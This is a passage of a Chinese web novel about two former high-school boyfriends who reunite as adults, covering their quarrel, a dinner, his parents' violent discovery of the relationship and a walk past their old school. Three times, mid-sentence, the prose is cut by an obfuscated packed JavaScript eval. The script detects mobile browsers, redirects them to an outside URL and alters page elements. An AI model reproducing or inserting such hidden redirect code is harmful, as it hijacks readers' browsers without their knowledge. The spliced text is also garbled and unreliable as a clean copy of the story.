这下轮到路锦弛愣怔住,像是从来没有听到过这些事情一样,脸上的疑惑不似作假:“我……我根本没有接到过你的好友申请,也没有电话……” 他慌张地扣住杨瑞原的肩膀,把他调转成面朝自己:“你什么时候发的?” “不重要了。”杨瑞原有气无力地拂开他的手,“就当是我想和你撇清关系吧,没必要在这种事情上纠结。” 他说着就要去开茶水间的门,刚刚吼了那么长一段话,震得他心脏现在还在扑通扑通乱跳。 杨瑞原万般庆幸茶水间的隔音足够好,加上离办公区有点距离,客户视察也没人来这里聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086495|194888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八卦和摸鱼,所以他和路锦弛之间的争执传不出去。 明明自己平常遇到任何问题都能以游刃有余的态度来对待,偏偏遇上路锦弛就方寸大乱。 路锦弛拉住他的手:“别走。” 他一个用力把毫不设防的杨瑞原拉回去抱在怀里,下巴抵在杨瑞原肩上:“你老是这样,以前吵架就憋着不说直接走人,从来不会听我的解释。现在吵架还是这样,根本不给我说清楚的机会,到底是你逃避还是我逃避?” 杨瑞原嘴硬道:“没有听前任解释的喜好。” “如果你是考完那一个月给我发的,那应该是被我爸妈拒绝了。”路锦弛强硬地把他箍在怀里听自己解释,“我不知道他们怎么发现的,我考完出来后回家,他俩对我发了有史以来最大的火。把我的所有社交账号都翻来覆去检查了一遍,把我的卡扣在他们手里,我登不上去我原来的号。 “后来过了很久他们才把那张卡还我,我一登上去就发现你从我的列表里消失了。我从来没有说过和你一刀两断或者赶你走不想继续这段关系的话,杨瑞原,你能不能多给我点信任?” 或许是因为路锦弛解释的语气太委屈,像条淋雨的小狗一样落魄,杨瑞原又该死地心软了一刻,语气也没之前冲:“哦……那你也没见得有多信任我了解我,毕竟真懂的话也不会觉得我是在和你撇清关系。” 杨瑞原别扭地转过脸思考了一下:“算了,其实原话听起来确实挺有歧义的。你觉得是就觉得去吧。” “我……”路锦弛被他噎住,手指不自在地在他掌心勾了一下,摸到了一处边缘不规则的凸起,像是某种伤疤没有愈合好的痕迹,让路锦弛忘了自己原本要说什么,“你的手……?” “咳咳。” 茶水间的门被敲响,李嘉晟的声音模糊响起:“那个,老板啊。他们视察完了,时间到了。” 没问出口的话被打断,杨瑞原看起来也不是很想回答这个问题,抽出手走了出去,还和李嘉晟礼貌点头示意。 路锦弛叹了口气,跟在杨瑞原后面出了茶水间,还不忘瞪了李嘉晟一眼。 李嘉晟:“搞什么?莫名其妙的。” 所有人都集中到了门口,就等着路锦弛这个老板到场。 杨瑞原因为和路锦弛一起出现,不得不跟着业务员送别他们。 “今天辛苦各位跑一趟了,后续合作我们一定会把细节落实到位,有什么问题直接联系我们就行。” 杨瑞原调整好表情,切换成上班模式的标准笑容挨个握手,到李嘉晟面前握得紧实,尽显诚意。 轮到路锦弛的时候他还是有点拧巴,任谁和前任大吵一架心里难免都会有芥蒂,想必路锦弛也是。 于是杨瑞原象征性地和路锦弛轻轻握了下手,又飞速撤离。 压根没看到路锦弛在他撤手时手指不自觉的蜷缩。 路锦弛又瞪了李嘉晟一眼,这次还附带一个白眼。 李嘉晟欲哭无泪:“不是,你俩吵架别带我啊!” 目送路锦弛一行人的车消失在视线里后,杨瑞原心不在焉地回了公司,脑海里还不断复盘吵架时他们两个说的话。 路锦弛说他的电话卡当时被扣在了父母那里,所以才没办法联系上他…… 他从来没说过想结束他们的恋爱关系…… 杨瑞原越想头越疼,心烦意乱间,置顶发了条新消息。 【A.L】:我觉得我们还需要谈谈 【A.L】:男朋友,介意我今晚邀请你一起吃顿晚餐吗? 7.同行 路锦弛的邀请猝不及防,杨瑞原在打字框里犹豫片刻,还在纠结要不要这么快就再见面。 他们两个能坐到一起谈的无非就是那点旧事,意味着他们要把在上段感情里已经结痂的伤疤再撕开,展示创口给对方看。 这种感觉不好受,杨瑞原也不喜欢。 不过还没等他纠结太久,刚送走客户的业务员就过来敲了敲他的门:“杨经理,徐总有事找你。” 杨瑞原愣了愣:“徐总?” 徐敬义原先也是总部的领导,和杨瑞原的关系还不错,比杨瑞原调到分部的时间更早一些。 与其说徐敬义是他的上司,倒不如说更像是关心他的长辈。在杨瑞原心里,徐敬义的分量甚至可以和他的高中班主任张连并肩。 “我知道了,马上过去。你先去忙吧。” 副总办公室离得不远,杨瑞原走上几步路就到了。他叩了三下门,里面的人声音洪亮:“请进!” 杨瑞原推开门,徐敬义正在审批文件,见他笔直挺拔地站在自己面前还诧异了一下,指了指沙发:“杨经理,先坐。” “好的徐总。” 杨瑞原也不扭捏,直接坐下等徐敬义处理完手头上的工作。好在也没等多久,徐敬义起身坐到了他对面,还给他倒了杯茶。 徐敬义先是照常和杨瑞原寒暄了一阵最近的工作情况,得到积极的答复,他喝了口茶润润嗓子,话锋一转: “我刚刚了解了下客户视察的情况,你小子藏得够深,怎么不早说你和锦锐的路总认识?” 他看上去一脸埋怨,语气倒像是打趣。 杨瑞原直接大大方方地承认:“哎呦,我要知道他是咱客户不早就积极上了,这不也是刚见面嘛。” “那你现在不是知道了吗。”徐敬义说,“不得跟人家好好联络下感情?这么好的一段人脉不能浪费呀!” 没有什么感情好联络的。杨瑞原心里暗道,但不敢把话说出来。 他早就预料到徐敬义肯定会有让他和路锦弛套近乎拉合作这一遭了,只好顺着徐敬义开口:“好的徐总,等我闲下来就试着和路总约顿饭增进感情。” “行嘞。能约出来的话直接给我说,我给你批假,随后给文良说一声就行。”徐敬义就等他这句话,“不过毕竟好些年了,你要是觉着尴尬的话,我就不让你去了。” 杨瑞原笑道:“哪有,我这是为公司的发展效力。” 徐敬义嘱咐他:“他要不乐意咱也不强求……” “不会不乐意。”杨瑞原把杯子里剩下的茶一口气喝完,“那我先走了啊徐总。” “嘿!”徐敬义话没说完就看着他溜了出去,“猴急!” 路锦弛的消息还孤零零挂在顶上,杨瑞原跑回办公室,勉为其难道:“去哪谈?” 路锦弛秒回:“先保密,下午我去接你。” 杨瑞原对比了一下,融兴下午五点半就能下班,而搬到路锦弛对面的这半个多月里,经常晚上七八点才能听见他回家开门的动静。思虑再三,杨瑞原还是给路锦弛回了一句:“算了,我下班直接去你们公司等你。” 事实证明杨瑞原的感觉是对的。 五点半,杨瑞原心情大好地出了公司大门,呼吸着自由的空气,直接打车到了路锦弛的公司,锦锐传媒。 锦锐的规模没有杨瑞原想象中那么大,不过路锦弛能自己创业,把一个短视频工作室开成如今这么大的传媒公司,也是颇有成就了。 而且锦锐的工作氛围看上去很融洽,大家上班还能闲聊吃零食,管束不严,不像融兴那样条条框框拘束多,所有人上班都无精打采。 杨瑞原按路锦弛说的继续往前走,在一间人少的办公室里还看见了个熟人。 陈智恒也看见了他,主动打招呼道:“原哥。” 杨瑞原见没人往这边注意,快步走过去,客气道:“好久不见。” 说句实话,杨瑞原觉得如果和路锦弛的重逢算是排名第一的尴尬,那么和陈智恒的单独相处就是排名第二。 陈智恒作为路锦弛的发小,当年杨瑞原和路锦弛恋爱的事情也是他最先看破的。 大直男陈智恒一时间接受不了好兄弟和自己超级崇拜的年级第一谈对象,一连好几天都没有理他们俩。路锦弛带着杨瑞原去找他时,他和其他同学有说有笑的,见两个人过来,直接拉下脸,让其他人先走开。 路锦弛奇怪道:“最近你咋了恒子?饭也不一起吃了家也不一起回,谈对象了?” 陈智恒冷笑一声:“我谈个屁,那不是你谈的如胶似漆的吗?” 他的目光从路锦弛缓缓皱起的眉头移开,挪到两人还没分开的手上:“天天拉手亲嘴举高高的,也是不嫌恶心。” 杨瑞原心里咯噔一下。 他慌忙甩开路锦弛的手,刚想劝陈智恒说话注意点措辞,路锦弛就已经一拳头冲了他脸上。 “等一下!别冲动!” 杨瑞原挤到两人中间拉架,只是之前兄弟关系有多铁,此刻下手就有多狠。杨瑞原只记得当时自己像沙包一样被推来搡去,还挨了四面八方袭来的拳头,之后张连就赶到了现场,把三个人提溜进了办公室。 办公室里倒是陈智恒揽下了所有责任:“我不该对杨瑞原和路锦弛同学出言不逊,对不起老师。” 好在张连是个和蔼的小老头,罚他们互相认错再写一千字检讨后就把打架的两个放出去了。 路锦弛出办公室还不忘呛陈智恒:“我他么就算是喜欢男的也不是什么货色都乐意谈,我要能看上你那我真是倒八辈子血霉瞎眼了!少拿你那套恶心的思维来污染别人。” 陈智恒被说得脸青一阵红一阵,最后盯了他俩好半晌没说话。 年轻人气性大,忘性也大。前一秒还因为一件小事分崩离析,下一秒又因为割舍不下长久的友谊重归于好。 后来陈智恒诚恳地找两人道了歉,加上他被路锦弛骂醒后确实没再有过异样的眼神,还在他俩吵架时当调解员,路锦弛才勉强同意做回朋友。 只是这件事也引发了杨瑞原和路锦弛恋爱以来的第一次争吵。 杨瑞原觉得连发小都不能接受两人的关系,更不用提父母和其他人会怎么看待他们,所以想让路锦弛平时收敛一些。路锦弛觉得没什么大不了,他们两个只要不想和对方分开,就没有什么能打败他们的困难。 理所当然的,他们对可能发生的设想产生了分歧而大吵一架。 虽说和陈智恒为数不多的交集翻了篇,但是杨瑞原单独和他待在一个空间还是有些手足无措。 “那个,你先坐吧,他还在处理工作,等会就来了。” 陈智恒给杨瑞原搬来了一张椅子,杨瑞原道谢后落座,陈智恒看出了他的不自在,也没有像以前一样拉着他说个没完没了。 不过陈智恒还是顺嘴问道:“对了原哥,你跟高束关系怎么样?” 杨瑞原回想了一下,把这个名字和脑海里的脸比对半天,“还行吧,不熟也不算陌生。” “噢……”陈智恒沉默,“他最近一直在跟我打探你和路哥的事情,我觉得这问题挺冒昧的,没跟他说,但我总觉得他这人怪怪的,你防着点的好。” “打探我们?”杨瑞原蹙眉,对高束还算良好的印象开始动摇,“谢谢提醒,我会注意的。” 陈智恒见状也没再多说,沉默地办自己的工。 不多时路锦弛推门而入,看见的就是一室寂静。 “忙完了?”杨瑞原此刻无比感谢路锦弛的出现,帮他打破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098938|194888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了说不清道不明的气氛。 路锦弛顺势把杨瑞原拉起来:“忙完了。咱们现在走?” 见杨瑞原应好,路锦弛冲陈智恒摆手:“剩下的交给你了哈单身狗,我要约饭去了。” “靠!”陈智恒在他俩身后竖中指,“说得好像你不是单身狗一样!” 杨瑞原被路锦弛拉着走到停车场:“李嘉晟呢?怎么没见到他。” “他接对象回家去了啊。”路锦弛让杨瑞原上了副驾,探头给他系安全带,“我们的工作时间很弹性的。” 他的发梢蹭在杨瑞原下巴上,挠得杨瑞原的心也一阵一阵痒痒的。 杨瑞原:“所以你就把活都丢给陈智恒了?” 路锦弛理所当然道:“正好他今天没事,就让他做。” “那你怎么不自己干?” 路锦弛轻轻笑了下,眼神认真地看向杨瑞原:“因为我有很重要的事,要接对象去吃饭。” 杨瑞原哼哼了一声:“花言巧语。我可没答应。” 车子点火起步,平稳行驶在路上,等红绿灯的间隙只剩车载音乐悠扬沉静的旋律。路锦弛的手松散地搭在方向盘上,状似不经意地撩起话题:“你这次回W市多久?” “不知道,不出意外就一直呆着了。”杨瑞原平淡接话。 路锦弛:“怎么突然想回来了?我听说你公司总部待遇挺好的。” 杨瑞原:“总部压力太大,就回来了。” “真的?”路锦弛明显不信,“总部待遇比分部好吧,我听高束还说你马上就要升职加薪了。” “假的,毕竟我爱钱,压力再大也不可能跑回来。”杨瑞原坦白,“其实是因为总部有个上司太死缠烂打了,烦得要死,跑回来躲个清静。” 路锦弛瞬间警惕:“男的?在追求你吗?” 杨瑞原看着他隐隐有点幽怨的表情,内心发笑,面上不显:“男的。算是吧。我就不信你这几年没有被追过。” 路锦弛闻言骄傲地坐直了些许,昂首挺胸道:“当然,我魅力这么大肯定有人追啊!” 杨瑞原云淡风轻的表情蓦地僵硬,紧接着他听到了路锦弛惊世骇俗的话:“不过我肯定没答应,毕竟我要为你守身如玉……” “咳咳咳——”杨瑞原猝不及防地被他惊到,咳得撕心裂肺。 路锦弛腾不开精力,只能右手伸出去给他轻柔地顺背。 杨瑞原看到他手上的绷带,想起李嘉晟上午来说这伤还是路锦弛扒在门上视奸他得来的。 他咳了半天才平复下来,盯着路锦弛的伤问:“李嘉晟说你天天扒门上看我,想干什么啊?” “嗯。”路锦弛承认得飞速,“我放不下爱你,所以想制造偶遇。” 他的坦诚倒是让杨瑞原受宠若惊,在内心翻来覆去把这句话品了好几遍,杨瑞原转过头,不让自己的表情暴露在路锦弛的视线下:“你也不觉得我会嫌你烦。” “嫌我烦了才好。”路锦弛死皮赖脸道,“说明你心里还是有我的。” “没想到路总这么些年没见,还是这么……”杨瑞原停顿片刻,像是在措辞,“没脸没皮。” 路锦弛满不在乎:“脸皮能干嘛?有钱拿还是能得老婆?” 杨瑞原玩不过他的流氓逻辑,被堵得一口气不上不下,看着导航显示转移话题道:“你要带我去哪?不会给我卖了吧?” 路锦弛没个正形:“不卖,直接把你绑我家里行不。” 导航语音提示目的地不远。车子行驶过的路愈发眼熟,即使多年过去有不少小摊和店面都焕然一新,杨瑞原还是能从街边陈旧的路灯和裂开的柏油马路依稀辨认出当年的足迹。 这种熟悉感在路锦弛放缓行驶速度,彻底到达饭馆的时候攀升至顶峰。 8.回忆 店面如今装潢得气派宽敞,客流量依旧爆满,除此以外找不到一丝昔日熟悉的影子。周围是热闹的小吃街,远处还能看到高中最引人注目的那几棵长势旺盛的松树,深绿的松针将高高的教学楼层层遮掩。 是他们两家当年最爱聚在一起热热闹闹吃饭的那家店。 杨瑞原开门下了车,目光在周围景象转了一圈,大部分都和记忆里的样子大相径庭。 路锦弛紧随其后下来,问道:“怎么样?我选的地方不错吧?” “……不错。” 路锦弛有预订,服务员直接带着他们上了二楼包间。 “现在餐饮行业这么赚钱吗?”杨瑞原打量着他们的位子,“几年没回来,发展这么好。” 路锦弛把菜单递到他面前,杨瑞原接过,照着他俩以前的口味点了几道菜:“看来变化确实挺大,之前喜欢的几道菜都没了。” “这几年变化可多了。”路锦弛说,“吃完带你去逛逛,给你看看变了多少。” 正值饭点,餐厅上菜速度要慢许多。 不过两个人能心平气和地坐在这里,目的本来就不是吃饭,而是谈心。 路锦弛先开了头:“早上说的匆忙,加上情绪有些激动,可能解释的不是很清楚。有什么疑惑的我们两个现在就问吧。” “你早上说,你考完第一个月电话卡被扣下了。”杨瑞原直视他,点到为止,“但是我后面上学还有再给你打过电话。” “我只记得你的原号码,从我拿回电话卡之后就再没有你打来的电话,只有骚扰推销。加上上大学后熟人都在微信联系,我也不怎么会接听。” 路锦弛滑跪认错很快:“这确实是我考虑不周,没想到你后面还会给我打电话。” 随即他又面色古怪道:“不过我之前起床后发现凌晨有几通国外打来的电话……”他看了眼眼神飘忽的杨瑞原,“是你打来的吗?” “……这不是很重要。”杨瑞原他不动声色拿过杯子喝水,“还有,今天上午李嘉晟说的……意思我的房东是你吗?” 路锦弛:“是啊。庄晓笙之前说有A市朋友要回来,需要租房。正好李嘉晟搬出去了,我就给她推荐了我对门。” 杨瑞原:“这你也能猜到,那你怎么不告诉我?” “因为她一直旁敲侧击问我住在哪,说我跟你命里犯冲,不适合见面,我就猜出来是你了。”路锦弛真诚道,“我要是告诉你我是你房东,以你之前躲我跟躲鬼一样,你不早跑了吗。” 说的有道理。杨瑞原果断忽略他后半句话。 路锦弛:“你还有什么想问的吗?” 见杨瑞原摇头,他说:“那轮到我了。” 路锦弛的声音有些发涩,他直勾勾地盯着杨瑞原,问道:“高考完之后那几个月,你过得怎么样?” 听到他问这个,杨瑞原还愣了一下。 路锦弛敛了神色补充道:“我听庄晓笙说,你那几个月看上去状态不是很好。我爸妈也说……叔叔阿姨知道我们谈恋爱的事了。” 杨瑞原垂眼,尘封在脑海深处的记忆又被三言两语唤醒,甚至更加清晰。 高考结束那天,正好是灰蒙蒙的雨天。 乌云侵占了原本的蔚蓝,空气里都浮沉着沉闷的因子。来送考的家长老师都撑着伞,考点外加油打气声闹哄哄地黏在一起。 杨瑞原和路锦弛很幸运地被分到了一个考点,他出考场后看到了路锦弛一晃而过的背影,还没等他迎上去打招呼,就在不远处看见了站在原地双双阴沉着脸的父母。 与周围紧紧相拥、拉着其他考生的手絮絮叨叨的家长截然不同。 只有弟弟杨瑞林捧着一大束向日葵朝他跑来,手舞足蹈地恭喜他毕业快乐。 父母的反应从年后就一直变得奇奇怪怪,不像之前大吵大闹的架势,更像是一场更大的暴风雨来袭的前奏。 杨瑞原细想不出原因,也懒得去想,只想赶紧回家找路锦弛。 他们考前几个月因为莫名的小问题又冷战了这么久,约定好了考完再好好谈心,彻底解除之前的误会和猜忌。 比起又要提心吊胆担心父母为什么冷脸、两个人又发生了什么龃龉,杨瑞原还是更愿意处理自己的感情问题。 他乖乖牵着弟弟走到两人面前,轻声道:“今年题目不难,应该可以超常发挥。” 魏淑萍的脸色缓和些许,但依旧板着:“回家。” 一路上除了杨瑞林看上去心情不错,剩下的三人多多少少看上去都面色凝重。 回到家魏淑萍把门一关,和杨民善坐在沙发上开始了窒息的盘问:“你和路锦弛是怎么回事?” 轰—— 杨瑞原一路设想好的场面和回答通通崩塌。 他的心脏骤停一拍,蓦然的审视让他肺里好像被塞了棉花,死死堵住他的喉咙,每一口呼吸都变得艰难。 毕竟他实在没有料到,让魏淑萍和杨民善如此反常的是他们谈恋爱被发现。 杨瑞原仔细搜刮脑海里每一次和路锦弛亲密接触的时刻,慌了神地试图找到他们暴露关系的那一刹那。 他没有回答这个问题,魏淑萍冷笑着揭开了掩盖着他和路锦弛的那一层薄布:“你以为你不说我们就不知道?你把你爹妈当成傻子吗?” 人在愤怒时往往口不择言,魏淑萍也是。她见杨瑞原迟迟不开口,低眉顺眼的样子让她气急道: “你翅膀硬了!藏得真够深啊!好吃好喝供着你,起了歪心思不说还学网上那帮神经病搞什么同性恋!!你不要脸!!!你让我们的老脸往哪搁!有脸出去见人吗你?!” 杨民善在一旁沉默地掐了烟,看着魏淑萍声嘶力竭地质问,看着杨瑞原低垂着头闷不做声,在瞥见桌上的瓷杯时怒上心头—— 后面发生的事情太过荒谬。 杨瑞原只记得当时他们吵了有史以来最大、最混乱的一场架,杯子重重磕在额角后掉落在地,飞溅的瓷片弹起,划破了他抬起防御的那只手的掌心。 刚刚砸来的杯子砸破他的额角,血顺着脸廓缓缓淌下,重击带来的眩晕迟迟爬了上来,模糊了他的视线。 他想开口解释些什么,比如他没有什么歪心思,他们也不是神经病种种……千万般纷飞的思绪终究被堵在喉头,成了永远也说不出口的隐秘情绪。 原本在指责他和路锦弛的魏淑萍又尖叫着搂住他,手忙脚乱地捂着他的伤口,整个人都在发抖,不知道是被气到还是看到他的伤口激动的。 她将炮火又对准了杨民善骂道:“平时跟死了一样不顾家,到这种时候只知道动手!谁当初说的好好聊……” 杨民善显然也没料到一个杯子居然能有这么大威力,他是第一次对儿子动手,就让儿子脑门上见了血。 他面红耳赤地和魏淑萍争论,还不忘翻医药包:“我!我怎么知道!我也是气的,我以为他会躲!你好到哪去了吗?你那架势不也要动手……” 杨瑞林在一旁被吓得一动不动,杨瑞原无力地闭上眼睛。 这样歇斯底里的争吵他从小到大体会到大。 所有问题永远不会得到妥善的解决,只有大吵一发泄情绪后被暂时搁置。 杨瑞原用完好无损的那只手拉过杨瑞林,捂住他的耳朵,抖着声音道:“我和他分手了,我们没有关系了。” 魏淑萍像是被抽尽了所有的力气,愤怒在脸上留下的余韵还没散尽,她一把夺过杨民善手里的纱布,按在杨瑞原的伤口上,面色颓唐道:“你爸爸要调岗回A市。我们这几天就走吧。” …… 杨瑞原刻意略去这些乱七八糟的细节,云淡风轻道:“过得还行。和你差不多,回去之后被他们骂了一顿,不同意我们两个在一起。正好我爸要调到A市,连夜收拾东西搬走了。” 他的拇指无意识地摩挲着手背,语速也慢了下来。路锦弛瞥见他的动作,不明不白地“哦”了一声,幽幽道:“你每次瞒了我什么事情就是这样。” 显然没全信他说的话。 他还要一一点出来:“扣手、咬嘴皮,或者就是说话慢吞吞的。” 杨瑞原恼羞成怒:“你爱信不信!” 路锦弛:“我信,但你没说全……” “打扰一下,给两位上个菜。” 路锦弛又被打断,只好等着服务员把菜上齐。 等服务员撤下后,酝酿好的情绪也烟消云散了。 熟人面前吃饭没有太多拘束,杨瑞原直接拿起筷子,一副不想多说的样子。路锦弛长长叹气道:“你不想说就算了。” 他把菜往杨瑞原那边推了推:“先吃饭吧。” 一顿饭在两人心照不宣的缄默里结束。 路锦弛提前下楼结了账,拉起在门口等他的杨瑞原的手:“走吧,带你去看看W市变了多少。” 杨瑞原:“去哪儿?” 路锦弛:“随你。” 他们两个对视一眼,出奇一致地选择了往高中方向走的那条路。 天黑得早,街道和店铺的灯亮起,模糊的光晕蜿蜒至前方。 要到高中的话还需要路过一条小吃街,小吃街开了有些年头,里面经久不衰的还得是火锅和麻辣烫。 奈何两人刚吃过饭,闻到鲜香麻辣后步子都不由得加快,最后停在了一处与小吃街里各种地方特色美食格格不入的小摊。 上了年纪的阿婆坐在炉子边,纸板上面歪歪扭扭写着“烤地瓜,炒栗子,烤玉米”。 在春寒料峭的寒风里,这些无疑是最温暖人心的食物。 路锦弛侧头看向身边人。 杨瑞原一张脸白净得反光,脸上细小的绒毛在灯光印衬下给他镀了一层金边,连鼻梁上的小痣也若隐若现。高中戴的死板的黑框眼镜已经换成了更流行的金丝边框,长而翘的睫毛就躲在镜片后面扑闪扑闪。 路锦弛不由得盯着他出了神,直到杨瑞原一把把他拽了过去:“你干嘛呢?小心车。” 小吃街人潮络绎不绝,非机动车又能随意出入,所以这里经常发生一些剐蹭的小事件。 路锦弛旁边那辆电动车鸣笛了半天,最后蛮不讲理,准备擦着他硬挤过去。 杨瑞原本能地拉住路锦弛的手腕,后者一时间平衡不稳,一只手被攥着,另一只手无措地搭上了杨瑞原身后的墙壁,仿佛把杨瑞原整个圈在了臂弯里,看上去就像壁咚。 他们因为突然的动作挨近,眼底满是和对方如出一辙的惊愕。杨瑞原甚至觉得手心里那块皮肤都被灼得滚烫。 心跳声像是屏蔽了周遭的闹嚷,“砰砰砰”的声响在他们耳边加倍放大。 “啊呦这个地段真是,也不好好管管,骑车的人横冲直撞的。” 旁边阿婆带着方言的吐槽将他们暧|昧的氛围打破,旖旎消失殆尽,杨瑞原撒开路锦弛的手腕,把他推开站直。 “你发什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112279|194888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呆呢,人家在后面叫你半天了都不往旁边挪。” 杨瑞原狐疑地和他目光衔接,路锦弛猛地回神,才想起来自己要问什么:“你吃饱了吗?” 烤地瓜的香气直往鼻子里钻,杨瑞原瞬间和他心意相通。 “还行,能再吃点零嘴。”杨瑞原矜持道,“你呢?” 路锦弛已经掏出手机准备付款:“我也是。” 他俩一起凑到炉子边,热气烘着被冻得发红的鼻头暖和起来。 “姨,拿两个烤地瓜,大一点儿的。” 阿婆动作很麻利,眼睛眯着看老式秤杆上的刻度:“两个一共九块八,抹个零头你给个九块就行。” “行。”路锦弛扫了码,看着结果烤地瓜的杨瑞原,“板栗吃不吃?” 杨瑞原毫不犹豫:“吃。” 阿婆又给他们装了一袋热乎的炒板栗。 杨瑞原顾着给烤地瓜扒皮,最后也没听清这点东西多少钱。 他把扒好皮的地瓜塞给路锦弛,自己捧着另一个暖手,掌心烫得泛红。 “好烫!”路锦弛咬了一口,喷出连绵的白雾,他避开自己咬的地方,掰了一小块下来给杨瑞原:“但是很甜,你尝尝。” 杨瑞原腾不开手,低头就着路锦弛的手咬走了那块地瓜。 路锦弛的手指蜷缩:“怎么样?” 杨瑞原烫得点头:“甜。” 地瓜确实很甜,被烤得流了蜜。 他眼尾烫出了泪花,被路锦弛好笑地用指节擦去。 地瓜和栗子甜腻绵软的味道萦绕在他们周围,杨瑞原在氤氲的白汽里忽然有些恍惚。 明明他们买了两个烤地瓜,怎么还是像以前一样分食着一个。 他们的视线隔着雾气对上,杨瑞原听见路锦弛带着些雀跃的语气:“你还记不记得,咱俩之前也是这样买过烤地瓜来着?” 路锦弛提起的事情还要追溯到高三那年冬天。 高中学校管得严,明令禁止学生带手机。作为尖子班的学生,路锦弛和杨瑞原自然被管得更厉害。 所以导致他俩整个高中期间都不敢明目张胆地把手机带来,每天只能依靠每天兜里那点现金解决晚饭。 学生下课都喜欢在校门口小吃摊扎堆,寒冬时围得人最多的就是卖烤地瓜和炒栗子的摊位。 路锦弛馋了好几天,下课铃一响就拉着杨瑞原跑出校门。 “晚上吃这个能吃饱吗?”杨瑞原怀疑道。 路锦弛计划道:“肯定先去买点主食,然后我们再来买烤地瓜。这样总比你窝在教室啃面包要好。” 他们先是去吃了顿快餐,之后优哉游哉地挤到炉子边。 “叔,要两个剥皮的烤地瓜。” 热腾腾的地瓜被塞进怀里,杨瑞原推了推眼镜,看着路锦弛边付钱边问:“炒栗子吃吗?咱俩拿晚自习上剥。” 杨瑞原看他兴致勃勃的样子,已经能联想到他晚自习咔嚓咔嚓剥栗子的场景了,委婉道:“我记得我们好像没带这么多钱?” “……坏了,好像真是。”路锦弛瞬间冷静,翻了翻全身上下的兜,悲催地发现他和杨瑞原身上剩下的钱甚至只够买一个烤地瓜。 杨瑞原叹了口气:“叔,拿一个就好。” 顺便安抚了一下路锦弛:“明天来买吧,今天吃太多了会积食。” 热腾腾的烤地瓜捧在手上,暖到了心里。 路锦弛精准地将地瓜拦腰分尸,和杨瑞原一起分了它。 结果第二天等他们再出来时,校门口的小摊子都被城管赶走了。 路锦弛遗憾道:“哎,看来只能以后有缘再吃了。” 谁也没想到,到最后毕业,他们也没能实现在晚自习上剥栗子的愿望。 杨瑞原想起这件事就觉得好笑,两个大小伙子窘迫地站在那里,兜里掏不出多余的钱,甚至两个人傻乎乎的,愣是没想起来还能借钱。 所以他也真的笑出声来:“肯定记得啊。” “虽然当时没请你吃到炒栗子,但幸好这次又遇到了。”路锦弛感慨,“可惜不能在张连的晚自习上扒壳了。” “你要真敢这么干,老张肯定得叫家长。”杨瑞原戳穿他。 两人漫步到高中附近,高中生这个时间点还在教室里埋头苦学,教学楼还是灯火通明,甚至照亮了学校门口这条马路。 学校大门紧缩,保安坐在屋里惬意地刷手机聊天。 路锦弛指着校门旁边被挡住的公告栏乐道:“你的照片还在上面挂着呢。” 杨瑞原还在低头准备扒栗子:“你怎么知道?” “我之前放假穿着高中校服溜进来看到的。”路锦弛得意洋洋,“不过准备翻墙跑的时候让保安逮了,还是找张连把我救出去的。” 他眯了眯眼:“好像就是那个玩手机的逮的我。” 杨瑞原失笑:“那可真是难为你了。” 他的目光锁向那个被遮挡得七七八八的公告栏,还真在边角看到了自己青涩的面孔:“也难为学校把这照片挂了这么多年了。” “性质不一样,毕竟咱学校就出过你一个省状元,没大张旗鼓放一百响炮都不错了。”路锦弛说,“要不我带你再溜进去逛逛?保安能认出来你,有你在我就不怕被关里面了。” 还不等杨瑞原回应,另一道熟悉的声音就在后面笑吟吟道:“自己想进去还不够,还要拉别人。这次我可不捞你了。” 9.过往 听见这道熟悉的声音,杨瑞原和路锦弛均是愣怔一瞬。 张连背着手,笑眯眯地看着他们两个一脸惊诧地回头:“我就说前面这俩小伙子怎么长这么眼熟呢,正好小路转了个脸,我一看还真是你们。” 两个人一起迎了上去,杨瑞原礼貌道:“老师好。” 路锦弛倒是显得很随意:“老师,又来散步呢?” 张连“嗯”了一声,算是回答路锦弛的话。 他自从带完杨瑞原这一届后就卸了班主任这个职位,轻轻松松又任教了几年后就退了休,正好家住的离高中近,晚上没事干经常到学校周边散步。 张连背着手走到两人中间,杨瑞原刻在骨子里的乖学生DNA让他不由自主站直了身子。 “哎呦,当初你们搬家那么突然,一毕业都再没见过你了。” 张连的目光在杨瑞原脸上意味深长地停留许久,本想欣慰地拍拍肩膀,却发现自己身高不够,只好折中拍了拍杨瑞原的胳膊,“我听晓笙说你和她都上了A大,选了国贸?这几年过得怎么样啊?” “是国贸,当初忘了给您说了。”杨瑞原有问必答,“过得还不错,劳您挂心了。” “你俩还都选了商科类的,挺好。”张连满意地点点头,又看向路锦弛,感慨道,“哎呀,时光飞逝呐,转眼你们都毕业工作了。我还老感觉路锦弛翻墙出不来是前几天的事,细细一想都是你们大一的时候了。” 